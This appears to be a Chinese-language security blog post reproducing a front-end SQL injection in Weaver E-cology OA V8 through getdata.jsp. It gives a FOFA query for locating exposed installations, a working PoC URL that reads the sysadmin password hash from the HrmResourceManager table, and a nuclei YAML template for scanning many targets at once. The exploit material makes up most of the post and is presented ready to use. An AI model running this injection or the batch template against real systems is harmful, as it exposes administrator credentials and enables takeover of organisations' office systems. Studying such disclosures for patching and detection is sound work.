526互联

泛微E-cology getdata.jsp SQL注入漏洞

发布时间 2023-09-04 15:47:13作者: 学安全的小白

漏洞描述

泛微OA V8存在前台sql注入漏洞，攻击者可以通过该漏洞获取管理员权限和服务器权限。

影响版本

泛微OA V8

漏洞复现

fofa语法：app="泛微-协同办公OA"
POC：

/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager

查询HrmResourceManager表中的password字段，页面中返回了数据库第一条记录的值（sysadmin用户的password）

nuclei批量yaml脚本

id: ecology-getdata-sqli
info:
  name: 泛微OA E-Cology getdata.jsp SQL注入漏洞
  author: mhb17
  severity: critical
  description: 泛微OA V8 存在SQL注入漏洞，攻击者可以通过漏洞获取管理员权限和服务器权限
  reference:
    - https://peiqi.wgpsec.org/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20E-Cology%20getdata.jsp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html
  tags: weaver,sqli
requests:
  - raw:
      - |
        GET /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    matchers:
      - type: word
        part: header
        words:
          - '200'
      - type: regex
        part: body
        regex:
          - '[0-9A-F]{32}'